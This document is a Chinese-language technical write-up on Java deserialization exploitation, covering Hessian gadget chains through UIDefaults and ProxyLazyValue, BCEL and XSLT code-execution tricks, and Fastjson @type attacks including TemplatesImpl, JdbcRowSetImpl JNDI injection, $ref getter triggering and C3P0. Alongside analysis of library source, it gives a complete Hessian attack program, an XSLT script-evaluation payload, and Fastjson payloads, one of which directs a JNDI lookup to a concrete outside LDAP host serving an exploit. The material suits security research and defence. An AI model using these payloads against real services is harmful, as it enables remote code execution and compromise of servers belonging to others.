public synchronized boolean equals(Object o) {    if (o == this)        return true;    if (!(o instanceof Map))        return false;    Map<?,?> t = (Map<?,?>) o;    if (t.size() != size())        return false;    try {        Iterator<Map.Entry<K,V>> i = entrySet().iterator();        while (i.hasNext()) {            Map.Entry<K,V> e = i.next();            K key = e.getKey();            V value = e.getValue();            if (value == null) {                if (!(t.get(key)==null && t.containsKey(key)))                    return false;            } else {                if (!value.equals(t.get(key)))                    return false;            }        }    } catch (ClassCastException unused)   {        return false;    } catch (NullPointerException unused) {        return false;    }    return true;}

UIDefaults继承了Hashtable,在UIDefaults中的get方法调用了getFromHashtable,如果value的类型是LazyValue相关,就会调用到LazyValue的createValue方法。

public class UIDefaults extends Hashtable<Object,Object>{    public Object get(Object key) {        Object value = getFromHashtable( key );        return (value != null) ? value : getFromResourceBundle(key, null);    }        private Object getFromHashtable(final Object key) {    /* Quickly handle the common case, without grabbing     * a lock.     */        Object value = super.get(key);        if ((value != PENDING) &&            !(value instanceof ActiveValue) &&            !(value instanceof LazyValue)) {            return value;        }            /* If the LazyValue for key is being constructed by another         * thread then wait and then return the new value, otherwise drop         * the lock and construct the ActiveValue or the LazyValue.         * We use the special value PENDING to mark LazyValues that         * are being constructed.         */        synchronized(this) {            value = super.get(key);            if (value == PENDING) {                do {                    try {                        this.wait();                    }                    catch (InterruptedException e) {                    }                    value = super.get(key);                }                while(value == PENDING);                return value;            }            else if (value instanceof LazyValue) {                super.put(key, PENDING);            }            else if (!(value instanceof ActiveValue)) {                return value;            }        }            /* At this point we know that the value of key was         * a LazyValue or an ActiveValue.         */        if (value instanceof LazyValue) {            try {                /* If an exception is thrown we'll just put the LazyValue                 * back in the table.                 */                value = ((LazyValue)value).createValue(this);            }            finally {                synchronized(this) {                    if (value == null) {                        super.remove(key);                    }                    else {                        super.put(key, value);                    }                    this.notifyAll();                }            }        }        else {            value = ((ActiveValue)value).createValue(this);        }            return value;    }}

调用到createValue后,就能调用任意的static方法了,目前常利用的几个static方法如下:

com.sun.org.apache.bcel.internal.util.JavaWrapper#_main
private static java.lang.ClassLoader getClassLoader() {  String s = SecuritySupport.getSystemProperty("bcel.classloader");  if((s == null) || "".equals(s))    s = "com.sun.org.apache.bcel.internal.util.ClassLoader";  try {    return (java.lang.ClassLoader)Class.forName(s).newInstance();  } catch(Exception e) {    throw new RuntimeException(e.toString());  }}public JavaWrapper(java.lang.ClassLoader loader) {  this.loader = loader;}public JavaWrapper() {  this(getClassLoader());}public static void _main(String[] argv) throws Exception {  /* Expects class name as first argument, other arguments are by-passed.   */  if(argv.length == 0) {    System.out.println("Missing class name.");    return;  }  String class_name = argv[0];  String[] new_argv = new String[argv.length - 1];  System.arraycopy(argv, 1, new_argv, 0, new_argv.length);  JavaWrapper wrapper = new JavaWrapper();  wrapper.runMain(class_name, new_argv);}

loader属性默认为BCEL Classloader,_main方法为static方法然后调用runMain方法,在runMain方法中先通过BCEL Classloader loadClass,然后会调用_main(String[] argv)方法。

public void runMain(String class_name, String[] argv) throws ClassNotFoundException{  Class   cl    = loader.loadClass(class_name);  Method method = null;  try {    method = cl.getMethod("_main",  new Class[] { argv.getClass() });    /* Method _main is sane ?     */    int   m = method.getModifiers();    Class r = method.getReturnType();    if(!(Modifier.isPublic(m) && Modifier.isStatic(m)) ||       Modifier.isAbstract(m) || (r != Void.TYPE))      throw new NoSuchMethodException();  } catch(NoSuchMethodException no) {    System.out.println("In class " + class_name +                       ": public static void _main(String[] argv) is not defined");    return;  }  try {    method.invoke(nullnew Object[] { argv });  } catch(Exception ex) {    ex.printStackTrace();  }}

BCEL ClassLoader也是在漏洞利用常用的一个类,特点是这个classloader在loadClass时能够通过classname生成类,所以loadClass就能执行任意代码,缺点是在8u251之后这个classloader被jdk移除。

protected Class loadClass(String class_name, boolean resolve)  throws ClassNotFoundException{  Class cl = null;  /* First try: lookup hash table.   */  if((cl=(Class)classes.get(class_name)) == null) {    /* Second try: Load system class using system class loader. You better     * don't mess around with them.     */    for(int i=0; i < ignored_packages.length; i++) {      if(class_name.startsWith(ignored_packages[i])) {        cl = deferTo.loadClass(class_name);        break;      }    }    if(cl == null) {      JavaClass clazz = null;      /* Third try: Special request?       */      if(class_name.indexOf("$$BCEL$$") >= 0)        clazz = createClass(class_name);      else { // Fourth try: Load classes via repository        if ((clazz = repository.loadClass(class_name)) != null) {          clazz = modifyClass(clazz);        }        else          throw new ClassNotFoundException(class_name);      }      if(clazz != null) {        byte[] bytes  = clazz.getBytes();        cl = defineClass(class_name, bytes, 0, bytes.length);      } else // Fourth try: Use default class loader        cl = Class.forName(class_name);    }    if(resolve)      resolveClass(cl);  }  classes.put(class_name, cl);  return cl;}
com.sun.org.apache.xml.internal.security.utils.JavaUtils#writeBytesToFilename
public static void writeBytesToFilename(String filename, byte[] bytes) {    FileOutputStream fos = null;    try {        if (filename != null && bytes != null) {            File f = new File(filename);            fos = new FileOutputStream(f);            fos.write(bytes);            fos.close();        } else {            if (log.isLoggable(java.util.logging.Level.FINE)) {                log.log(java.util.logging.Level.FINE, "writeBytesToFilename got null byte[] pointed");            }        }    } catch (IOException ex) {        if (fos != null) {            try {                fos.close();            } catch (IOException ioe) {                if (log.isLoggable(java.util.logging.Level.FINE)) {                    log.log(java.util.logging.Level.FINE, ioe.getMessage(), ioe);                }            }        }    }}

一个比较简单的任意文件写,但是如果是FatJar或者不知道Web路径的状态下依然比较难用。可以配合落地文件后,XSLT解析实现代码执行。

com.sun.org.apache.xalan.internal.xslt.Process#_main
package com.sun.org.apache.xalan.internal.xslt;/** * The main() method handles the Xalan command-line interface. * @xsl.usage general */public class Process{    public static void _main(String argv[])    {    stylesheet = tfactory.newTemplates(new StreamSource(xslFileName));    ......    transformer.transform(  new SAXSource(reader, new InputSource(inFileName)),  strResult);        

通过落地一个XSLT文件,然后加载这个文件,实现代码执行。

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"xmlns:se="http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager"xmlns:js="http://xml.apache.org/xalan/java/javax.script.ScriptEngine">    <xsl:template match="/">      <xsl:variable name="code" select="code"/>      <xsl:variable name="process" select="js:eval(se:getEngineByName(se:new(),'js'), $code)"/>       <xsl:value-of select="$process"/>    </xsl:template>  </xsl:stylesheet>

jdk里能用的还有sun.reflect.misc.MethodUtil#invoke,但是偶尔会把jvm打崩,用得比较少。除了这些jdk里自带的,还能针对一些第三方包进行利用。需要注意的是SwingLazyValue反射加载类时,Class var2 = Class.forName(this.className, true, (ClassLoader)null);,指定了classloader为null,使用了系统类加载器导致无法加载到web下的jar包。

if (table == null || !((cl = table.get("ClassLoader"))                       instanceof ClassLoader)) {    cl = Thread.currentThread().                getContextClassLoader();    if (cl == null) {        // Fallback to the system class loader.        cl = ClassLoader.getSystemClassLoader();    }}ReflectUtil.checkPackageAccess(className);c = Class.forName(className, true, (ClassLoader)cl);

javax.swing.UIDefaults.ProxyLazyValue的createValue方法中,反射时使用的classloader是Thread.currentThread().                

getContextClassLoader();。

因为第三方包的利用链比较多,列举一个用得比较多的spring。

org.springframework.util.SerializationUtils#deserialize
@Nullablepublic static Object deserialize(@Nullable byte[] bytes) {    if (bytes == null) {        return null;    } else {        try {            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));            Throwable var2 = null;            Object var3;            try {                var3 = ois.readObject();            } catch (Throwable var14) {                var2 = var14;                throw var14;            } finally {                if (ois != null) {                    if (var2 != null) {                        try {                            ois.close();                        } catch (Throwable var13) {                            var2.addSuppressed(var13);                        }                    } else {                        ois.close();                    }                }            }            return var3;        } catch (IOException var16) {            IOException ex = var16;            throw new IllegalArgumentException("Failed to deserialize object", ex);        } catch (ClassNotFoundException var17) {            ClassNotFoundException ex = var17;            throw new IllegalStateException("Failed to deserialize object type", ex);        }    }}

通过deserialize打原生反序列化,再通过Jackson利用链执行代码。

攻击代码如下:

import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import javax.swing.*;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.util.ArrayList;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class Test3 {    public static Map makeHessianDeserMap(ArrayList hashtableList) throws Exception {        if(hashtableList.size() % 2 != 0){            return null;        }        HashMap<Object, Object> s = new HashMap<Object, Object>();        Reflections.setFieldValue(s, "size"3);        Class<?> nodeC;        try {            nodeC = Class.forName("java.util.HashMap$Node");        } catch (ClassNotFoundException e) {            nodeC = Class.forName("java.util.HashMap$Entry");        }        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);        nodeCons.setAccessible(true);        Object tbl = Array.newInstance(nodeC, hashtableList.size());        for (int i = 0; i < hashtableList.size(); i++) {            Array.set(tbl, i, nodeCons.newInstance(0, hashtableList.get(i), hashtableList.get(i), null));        }        Reflections.setFieldValue(s, "table", tbl);        return s;    }    public static void wrapHessianHashtable(Object value, ArrayList hashtableList) throws Exception {        Reflections.setFieldValue(value, "acc"null);        Object[] keyValueList = new Object[]{"ddd", value};        UIDefaults uiDefaults1 = new UIDefaults(keyValueList);        UIDefaults uiDefaults2 = new UIDefaults(keyValueList);        Hashtable<Object, Object> hashtable = new Hashtable<Object, Object>();        hashtable.put("a", uiDefaults1);        Hashtable<Object, Object> hashtable1 = new Hashtable<Object, Object>();        hashtable1.put("a", uiDefaults2);        hashtableList.add(hashtable);        hashtableList.add(hashtable1);    }    public static void main(String[] args) throws Exception {        UIDefaults.ProxyLazyValue value = new UIDefaults.ProxyLazyValue("org.springframework.util.SerializationUtils""deserialize"new Object[]{"".getBytes()});        ArrayList hashtableList = new ArrayList();        wrapHessianHashtable(value, hashtableList);        Map map = makeHessianDeserMap(hashtableList);        ByteArrayOutputStream bos = new ByteArrayOutputStream();        Hessian2Output hessian2Output = new Hessian2Output(bos);        hessian2Output.getSerializerFactory().setAllowNonSerializable(true);        hessian2Output.writeObject(map);        hessian2Output.flush();        hessian2Output.close();        Hessian2Input hessian2Input = new Hessian2Input(new ByteArrayInputStream(bos.toByteArray()));        hessian2Input.readObject();    }}

 JSON 反序列化 

  • 基础介绍

JSON 反序列化是将 JSON 格式的字符串转换为编程语言中的数据结构(如对象、数组等)的过程。JSON是一种轻量级的数据交换格式,广泛用于 Web 应用中进行数据传输。在反序列化过程中,JSON 字符串中的数据根据预定义的结构被解析并转化为对应的内存对象,供程序进行处理和操作。

在 Java 中,大家听过的最多的JSON反序列化漏洞肯定是FASTJSON。Fastjson 通过将 JSON 字符串转换为 Java 对象来实现反序列化,通过@type可以指定反序列化对象。

  • 利用剖析

1.2.24版本

com.alibaba.fastjson.parser.DefaultJSONParser#parseObject

public final Object parseObject(Map objectObject fieldName) {..............        if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {        ref = lexer.scanSymbol(this.symbolTable'"');        Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());        if (clazz != null) {        .........        ObjectDeserializer deserializer = this.config.getDeserializer(clazz);if (deserializer instanceof JavaBeanDeserializer) {    instance = ((JavaBeanDeserializer)deserializer).createInstance(this, clazz);}}

如果json的key为@type,就会识别出下一个符号作为value然后使用TypeUtils.loadClass加载类。TypeUtils.loadClass中首先尝试从mappings中获取到该类,如果没有就会从当前线程的classloader尝试加载对应的类。也可以看到在这里也会尝试移除L;[等字符后再尝试加载类,这个是后面绕过黑名单的一些方法。

public static Class<?> loadClass(String className, ClassLoader classLoader) {    if (className != null && className.length() != 0) {        Class<?> clazz = (Class)mappings.get(className);        if (clazz != null) {            return clazz;        } else if (className.charAt(0) == '[') {            Class<?> componentType = loadClass(className.substring(1), classLoader);            return Array.newInstance(componentType, 0).getClass();        } else if (className.startsWith("L") && className.endsWith(";")) {            String newClassName = className.substring(1, className.length() - 1);            return loadClass(newClassName, classLoader);        } else {            try {                if (classLoader != null) {                    clazz = classLoader.loadClass(className);                    mappings.put(className, clazz);                    return clazz;                }            } catch (Throwable var6) {                Throwable e = var6;                e.printStackTrace();            }            try {                ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();                if (contextClassLoader != null) {                    clazz = contextClassLoader.loadClass(className);                    mappings.put(className, clazz);                    return clazz;                }            } catch (Throwable var5) {            }            try {                clazz = Class.forName(className);                mappings.put(className, clazz);                return clazz;            } catch (Throwable var4) {                return clazz;            }        }    } else {        return null;    }}

加载到类后,会根据不同的类选择不同的反序列器。

public JavaBeanDeserializer(ParserConfig config, Class<?> clazz, Type type) {    this(config, JavaBeanInfo.build(clazz, type, config.propertyNamingStrategy));}

JavaBeanDeserializer反序列化器中,会调用JavaBeanInfo.build方法为指定的 Java 类构建元数据信息,以便在 JSON 序列化和反序列化时,快速获取类的字段、方法、注解等关键信息。在build方法中,会将有jsonfield注解或者存在setter方法的加入到fieldlist中。

public static JavaBeanInfo build(Class<?> clazz, Type type, PropertyNamingStrategy propertyNamingStrategy) {    JSONType jsonType = (JSONType)clazz.getAnnotation(JSONType.class);    Class<?> builderClass = getBuilderClass(jsonType);    Field[] declaredFields = clazz.getDeclaredFields();    Method[] methods = clazz.getMethods();.................    Method[] var30 = methods;    int var29 = methods.length;        Method method;    for(i = 0; i < var29; ++i) {        method = var30[i];        ordinal = 0;        int serialzeFeatures = 0;        parserFeatures = 0;        String methodName = method.getName();        if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {            Class<?>[] types = method.getParameterTypes();            if (types.length == 1) {                annotation = (JSONField)method.getAnnotation(JSONField.class);                if (annotation == null) {                    annotation = TypeUtils.getSuperMethodAnnotation(clazz, method);                }                    if (annotation != null) {                    if (!annotation.deserialize()) {                        continue;                    }                        ordinal = annotation.ordinal();                    serialzeFeatures = SerializerFeature.of(annotation.serialzeFeatures());                    parserFeatures = Feature.of(annotation.parseFeatures());                    if (annotation.name().length() != 0) {                        methodName = annotation.name();                        add(fieldList, new FieldInfo(methodName, method, (Field)null, clazz, type, ordinal, serialzeFeatures, parserFeatures, annotation, (JSONField)null, (String)null));                        continue;                    }                }                    if (methodName.startsWith("set")) {                    c3 = methodName.charAt(3);                    String propertyName;                    if (!Character.isUpperCase((char)c3) && c3 <= 512) {                        if (c3 == 95) {                            propertyName = methodName.substring(4);                        } else if (c3 == 102) {                            propertyName = methodName.substring(3);                        } else {                            if (methodName.length() < 5 || !Character.isUpperCase(methodName.charAt(4))) {                                continue;                            }                                propertyName = TypeUtils.decapitalize(methodName.substring(3));                        }                    } else if (TypeUtils.compatibleWithJavaBean) {                        propertyName = TypeUtils.decapitalize(methodName.substring(3));                    } else {                        propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);                    }                        Field field = TypeUtils.getField(clazz, propertyName, declaredFields);                    if (field == null && types[0] == Boolean.TYPE) {                        isFieldName = "is" + Character.toUpperCase(propertyName.charAt(0)) + propertyName.substring(1);                        field = TypeUtils.getField(clazz, isFieldName, declaredFields);                    }                        JSONField fieldAnnotation = null;                    if (field != null) {                        fieldAnnotation = (JSONField)field.getAnnotation(JSONField.class);                        if (fieldAnnotation != null) {                            if (!fieldAnnotation.deserialize()) {                                continue;                            }                                ordinal = fieldAnnotation.ordinal();                            serialzeFeatures = SerializerFeature.of(fieldAnnotation.serialzeFeatures());                            parserFeatures = Feature.of(fieldAnnotation.parseFeatures());                            if (fieldAnnotation.name().length() != 0) {                                propertyName = fieldAnnotation.name();                                add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures, annotation, fieldAnnotation, (String)null));                                continue;                            }                        }                    }                        if (propertyNamingStrategy != null) {                        propertyName = propertyNamingStrategy.translate(propertyName);                    }                        add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures, annotation, fieldAnnotation, (String)null));                }            }        }    }

生成完类的信息后,createInstance方法中,通过反射实例化反序列化的类。

public Object createInstance(DefaultJSONParser parser, Type type) {    if (type instanceof Class && this.clazz.isInterface()) {        Class<?> clazz = (Class)type;        ClassLoader loader = Thread.currentThread().getContextClassLoader();        JSONObject obj = new JSONObject();        Object proxy = Proxy.newProxyInstance(loader, new Class[]{clazz}, obj);        return proxy;    } else if (this.beanInfo.defaultConstructor == null) {        return null;    } else {        Object object;        try {            Constructor<?> constructor = this.beanInfo.defaultConstructor;            if (this.beanInfo.defaultConstructorParameterSize == 0) {                object = constructor.newInstance();            } else {                ParseContext context = parser.getContext();                String parentName = context.object.getClass().getName();                String typeName = "";                if (type instanceof Class) {                    typeName = ((Class)type).getName();                }                if (parentName.length() != typeName.lastIndexOf(36) - 1) {                    char[] typeChars = typeName.toCharArray();                    StringBuilder clsNameBuilder = new StringBuilder();                    clsNameBuilder.append(parentName).append("$");                    Map<StringObject> outterCached = new HashMap();                    outterCached.put(parentName, context.object);                    for(int i = parentName.length() + 1; i <= typeName.lastIndexOf(36); ++i) {                        char thisChar = typeChars[i];                        if (thisChar == '$') {                            String clsName = clsNameBuilder.toString();                            Object outter = outterCached.get(parentName);                            try {                                Class<?> clazz = Class.forName(parentName);                                if (outter != null) {                                    Class<?> innerCls = Class.forName(clsName);                                    Constructor<?> innerClsConstructor = innerCls.getDeclaredConstructor(clazz);                                    if (!innerClsConstructor.isAccessible()) {                                        innerClsConstructor.setAccessible(true);                                    }                                    Object inner = innerClsConstructor.newInstance(outter);                                    outterCached.put(clsName, inner);                                    parentName = clsName;                                }                            } catch (ClassNotFoundException var20) {                                throw new JSONException("unable to find class " + parentName);                            } catch (NoSuchMethodException var21) {                                throw new RuntimeException(var21);                            } catch (InvocationTargetException var22) {                                throw new RuntimeException("can not instantiate " + clsName);                            } catch (IllegalAccessException var23) {                                throw new RuntimeException(var23);                            } catch (InstantiationException var24) {                                InstantiationException e = var24;                                throw new RuntimeException(e);                            }                        }                        clsNameBuilder.append(thisChar);                    }                    object = constructor.newInstance(outterCached.get(parentName));                } else {                    object = constructor.newInstance(context.object);                }            }        } catch (Exception var25) {            Exception e = var25;            throw new JSONException("create instance error, class " + this.clazz.getName(), e);        }        if (parser != null && parser.lexer.isEnabled(Feature.InitStringFieldAsEmpty)) {            FieldInfo[] var28 = this.beanInfo.fields;            int var30 = var28.length;            for(int var32 = 0; var32 < var30; ++var32) {                FieldInfo fieldInfo = var28[var32];                if (fieldInfo.fieldClass == String.class) {                    try {                        fieldInfo.set(object"");                    } catch (Exception var19) {                        throw new JSONException("create instance error, class " + this.clazz.getName(), var19);                    }                }            }        }        return object;    }}

生成完类的实例后,开始恢复Field,在parseField方法中,如果解析时配置了SupportNonPublicField功能那么就可以直接通过反射的方式设置私有Field的值。

public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<StringObject> fieldValues) {    JSONLexer lexer = parser.lexer;    FieldDeserializer fieldDeserializer = this.smartMatch(key);    int mask = Feature.SupportNonPublicField.mask;    if (fieldDeserializer == null && (parser.lexer.isEnabled(mask) || (this.beanInfo.parserFeatures & mask) != 0)) {        if (this.extraFieldDeserializers == null) {            ConcurrentHashMap extraFieldDeserializers = new ConcurrentHashMap(10.75F, 1);            Field[] fields = this.clazz.getDeclaredFields();            Field[] var11 = fields;            int var12 = fields.length;            for(int var13 = 0; var13 < var12; ++var13) {                Field field = var11[var13];                String fieldName = field.getName();                if (this.getFieldDeserializer(fieldName) == null) {                    int fieldModifiers = field.getModifiers();                    if ((fieldModifiers & 16) == 0 && (fieldModifiers & 8) == 0) {                        extraFieldDeserializers.put(fieldName, field);                    }                }            }            this.extraFieldDeserializers = extraFieldDeserializers;        }        Object deserOrField = this.extraFieldDeserializers.get(key);        if (deserOrField != null) {            if (deserOrField instanceof FieldDeserializer) {                fieldDeserializer = (FieldDeserializer)deserOrField;            } else {                Field field = (Field)deserOrField;                field.setAccessible(true);                FieldInfo fieldInfo = new FieldInfo(key, field.getDeclaringClass(), field.getType(), field.getGenericType(), field, 000);                fieldDeserializer = new DefaultFieldDeserializer(parser.getConfig(), this.clazz, fieldInfo);                this.extraFieldDeserializers.put(key, fieldDeserializer);            }        }    }    if (fieldDeserializer == null) {        if (!lexer.isEnabled(Feature.IgnoreNotMatch)) {            throw new JSONException("setter not found, class " + this.clazz.getName() + ", property " + key);        } else {            parser.parseExtra(object, key);            return false;        }    } else {        lexer.nextTokenWithColon(((FieldDeserializer)fieldDeserializer).getFastMatchToken());        ((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues);        return true;    }}

如果没有设置SupportNonPublicField,正常调用setValue方法恢复Field,这里尝试通过fieldInfo的method方法进行恢复,这里的fieldinfo method就是在JavaBeanInfo.build中获取到的,就是setter方法

public void setValue(Object object, Object value) {    if (value != null || !this.fieldInfo.fieldClass.isPrimitive()) {        try {            Method method = this.fieldInfo.method;            if (method != null) {                if (this.fieldInfo.getOnly) {                    if (this.fieldInfo.fieldClass == AtomicInteger.class) {                        AtomicInteger atomic = (AtomicInteger)method.invoke(object);                        if (atomic != null) {                            atomic.set(((AtomicInteger)value).get());                        }                    } else if (this.fieldInfo.fieldClass == AtomicLong.class) {                        AtomicLong atomic = (AtomicLong)method.invoke(object);                        if (atomic != null) {                            atomic.set(((AtomicLong)value).get());                        }                    } else if (this.fieldInfo.fieldClass == AtomicBoolean.class) {                        AtomicBoolean atomic = (AtomicBoolean)method.invoke(object);                        if (atomic != null) {                            atomic.set(((AtomicBoolean)value).get());                        }                    } else if (Map.class.isAssignableFrom(method.getReturnType())) {                        Map map = (Map)method.invoke(object);                        if (map != null) {                            map.putAll((Map)value);                        }                    } else {                        Collection collection = (Collection)method.invoke(object);                        if (collection != null) {                            collection.addAll((Collection)value);                        }                    }                } else {                    method.invoke(object, value);                }
  • 利用方式发展

Templatesimpl

<=1.2.24

这是最开始出现的利用方式,通过给Templatesimpl设置上_bytecodes属性,然后触发getter方法实现RCE。但是_bytecodes没有对应的setter方法,在利用分析中提到了,如果目标类中私有属性没有setter方法,但是在反序列化时仍想给这个变量赋值,则需要使用Feature.SupportNonPublicField参数。

所以需要目标代码加上这个配置才能够利用,在实际场景中基本碰不到这个配置。

JSON.parseObject(text1, Object.classFeature.SupportNonPublicField);

利用如下:

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66xx"],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}

正常来说反序列化时只能调用到setter方法,TemplatesImpl为什么能触发到getter方法,在JavaBeanInfo.build方法中,解析方法时也会判断是否存在get方法,但是会限制返回类型,刚好getOutputProperties的返回类型为Properties,属于map所以最后也能触发到getOutputProperties方法。

for(i = 0; i < var29; ++i) {    method = var30[i];    String methodName = method.getName();    if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3)) && method.getParameterTypes().length == 0 && (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType())) {        JSONField annotation = (JSONField)method.getAnnotation(JSONField.class);        if (annotation == null || !annotation.deserialize()) {            String propertyName;            if (annotation != null && annotation.name().length() > 0) {                propertyName = annotation.name();            } else {                propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);            }
  • JNDI RCE

在FastJSON反序列化漏洞出现时,刚好JNDI的攻击面也被发现不久。

package com.sun.rowset;public class JdbcRowSetImpl extends BaseRowSet implements JdbcRowSetJoinable {    public void setAutoCommit(boolean var1) throws SQLException {        if (this.conn != null) {            this.conn.setAutoCommit(var1);        } else {            this.conn = this.connect();            this.conn.setAutoCommit(var1);        }        }        private Connection connect() throws SQLException {        if (this.conn != null) {            return this.conn;        } else if (this.getDataSourceName() != null) {            try {                InitialContext var1 = new InitialContext();                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();            } catch (NamingException var3) {                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());            }        } else {            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;        }    }}

因为FastJSON在反序列化时会触发setter,所以这里就不再需要Fastjson解析的时候做任何其他的配置了,在JdbcRowSetImpl的setAutoCommit方法中,调用了connect,connect中进行了lookup JNDI查询,所以借此实现了JNDI注入。

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://39.108.232.59:1389/Exploit","autoCommit":true}
  • getter

正常来说,Fastjson在反序列化时只会调用setter方法,前面提到了能调用部分getter方法(对返回类型等存在限制)。后续大家发现在Fastjson反序列化时也能触发getter,这样就成功的扩大了攻击面,目前常用的有两种从setter到getter到方式。

  • JSONObject

在com.alibaba.fastjson.parser.DefaultJSONParser#parseObject中,

if (object.getClass() == JSONObject.class) {    key = key == null ? "null" : key.toString();}

如果反序列化的类是JSONObject,则会调用JSONObject的toString方法,在toString方法中会进行一次序列化操作,所以肯定会调用到getter方法,所以这里将我们需要getter的对象放到jsonobject中。

String js = "{{\"@type\": \"com.alibaba.fastjson.JSONObject\",\"c\":{\"@type\":\"Person\"}}:\"dd\"}";

  • $ref

使用$ref后,会新增任务,

if (key == "$ref" && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {    .....................    if ("..".equals(ref)) {        if (context.object != null) {            refValue = context.object;        } else {            this.addResolveTask(new ResolveTask(context, ref));            this.setResolveStatus(1);        }        break;    }    if (!"$".equals(ref)) {        this.addResolveTask(new ResolveTask(context, ref));        this.setResolveStatus(1);        break;    }    for(rootContext = context; rootContext.parent != null; rootContext = rootContext.parent) {    }    if (rootContext.object != null) {        refValue = rootContext.object;    } else {        this.addResolveTask(new ResolveTask(rootContext, ref));        this.setResolveStatus(1);    }    break;}

后续对任务进行处理,为了获取到对应的引用,会进行JSONPath处理,最终会调用到对应的getter方法获取到引用值。

public void handleResovleTask(Object value) {    if (this.resolveTaskList != null) {        int i = 0;        for(int size = this.resolveTaskList.size(); i < size; ++i) {            ResolveTask task = (ResolveTask)this.resolveTaskList.get(i);            String ref = task.referenceValue;            Object object = null;            if (task.ownerContext != null) {                object = task.ownerContext.object;            }            Object refValue = ref.startsWith("$") ? this.getObject(ref) : task.context.object;            FieldDeserializer fieldDeser = task.fieldDeserializer;            if (fieldDeser != null) {                if (refValue != null && refValue.getClass() == JSONObject.class && fieldDeser.fieldInfo != null && !Map.class.isAssignableFrom(fieldDeser.fieldInfo.fieldClass)) {                    Object root = this.contextArray[0].object;                    refValue = JSONPath.eval(root, ref);                }                fieldDeser.setValue(object, refValue);            }        }

com.alibaba.fastjson.parser.DefaultJSONParser#handleResovleTask

com.alibaba.fastjson.JSONPath#eval

com.alibaba.fastjson.JSONPath$PropertySegement#eval

com.alibaba.fastjson.JSONPath#getPropertyValue

beanSerializer.getFieldValue触发了getter方法。

protected Object getPropertyValue(Object currentObject, String propertyName, long propertyNameHash) {    if (currentObject == null) {        return null;    } else if (currentObject instanceof Map) {        Map map = (Map)currentObject;        Object val = map.get(propertyName);        if (val == null && 5614464919154503228L == propertyNameHash) {            val = map.size();        }        return val;    } else {        Class<?> currentClass = currentObject.getClass();        JavaBeanSerializer beanSerializer = this.getJavaBeanSerializer(currentClass);        if (beanSerializer != null) {            try {                return beanSerializer.getFieldValue(currentObject, propertyName, propertyNameHash, false);            } catch (Exception var20) {                throw new JSONPathException("jsonpath error, path " + this.path + ", segement " + propertyName, var20);            }
  • 不出网利用

虽然JNDI注入的利用已经不再需要其他的配置了,但是因为JNDI注入这种利用需要目标服务器能够出网以及可能存在JDK版本限制或本地Classpath有gadget才能够利用,导致了不出网场景下无法利用,所以还需要一些不出网就能利用的利用链,这里列举几个常用的。

  • C3P0

com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource

public WrapperConnectionPoolDataSource(boolean autoregister){  super(autoregister);  this.connectionTester =   C3P0Registry.getDefaultConnectionTester();    this.setUpPropertyListeners(); // 设置属性监听器

在构造方法中,开启了一个属性的监听器,

com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString

public synchronized void setUserOverridesAsString(String userOverridesAsString) throws PropertyVetoException {         String oldVal = this.userOverridesAsString;         if (!this.eqOrBothNull(oldVal, userOverridesAsString)){                 this.vcs.fireVetoableChange("userOverridesAsString", oldVal, userOverridesAsString);         }

在setter方法中,如果修改了userOverridesAsString属性值就会触发监听器,

private void setUpPropertyListeners() { ...................... if ("userOverridesAsString".equals(propName)) {   try {       WrapperConnectionPoolDataSource.this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString((String)val); }

在监听器方法中,如果修改的是userOverridesAsString属性,就会调用到C3P0ImplUtils.parseUserOverridesAsString方法。

public static Map parseUserOverridesAsString(String userOverridesAsString) throws IOExceptionClassNotFoundException {         if (userOverridesAsString != null) {                 String hexAscii = userOverridesAsString.substring("HexAsciiSerializedMap".length() + 1, userOverridesAsString.length() - 1);                 byte[] serBytes = ByteUtils.fromHexAscii(hexAscii);                 return Collections.unmodifiableMap((Map)SerializableUtils.fromByteArray(serBytes)); 

在该方法中,对userOverridesAsString属性值Hex解码后进行了Java原生反序列化。

